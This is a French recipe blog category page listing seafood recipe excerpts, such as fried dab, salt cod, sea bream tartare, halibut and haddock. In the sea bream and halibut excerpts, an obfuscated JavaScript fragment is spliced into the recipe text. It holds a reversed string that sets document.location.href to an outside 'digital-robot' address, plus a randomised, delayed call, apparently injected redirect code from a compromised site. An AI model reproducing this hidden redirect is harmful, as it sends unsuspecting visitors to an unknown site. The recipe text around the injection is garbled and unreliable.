Catégorie : Mer
Les limandes frites
Le temps de cuisson des limandes est de 10 minutes environ dans une friture chaude ...
Christine Lire la suiteMorue aux pommes de terre et au cerfeuil
Si la morue est trop salée il est préférable de la faire tremper dans de ...
Christine Lire la suiteTartare de daurade vinaigrette vanillée
Ébouillantez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate quelques secondes, pelez, épépinez, et coupez-la ...
Christine Lire la suiteAumônières de poisson crème fouettée à la ciboulette
Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...
Christine Lire la suiteBrochet au vert
Videz et parez le brochet. Équeutez, rincez les épinards, le persil, l’estragon, et la menthe. ...
Christine Lire la suiteDorade royale, sauce a la cardamome
Rincez, séchez, salez et poivrez l’intérieur, l’extérieur du poisson. Malaxez le beurre jusqu’à en obtenir ...
Christine Lire la suiteFilets de flétan grillés au basilic
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteFilet de perche aux herbes
Pressez le citron. Hachez l’oignon. citronner la chair de poisson. Salez, poivrez. Ciselez les herbes. ...
Christine Lire la suiteHaddock au curry
Découpez les poissons en cubes, et faites-les tremper dans du lait pendant 2 heures. Égouttez, ...
Christine Lire la suiteGrondins au beurre d’anchois
Videz, rincez, salez et poivrez, extérieur et intérieur les grondins. Mélangez le thym avec les ...
Christine Lire la suiteLes Recettes
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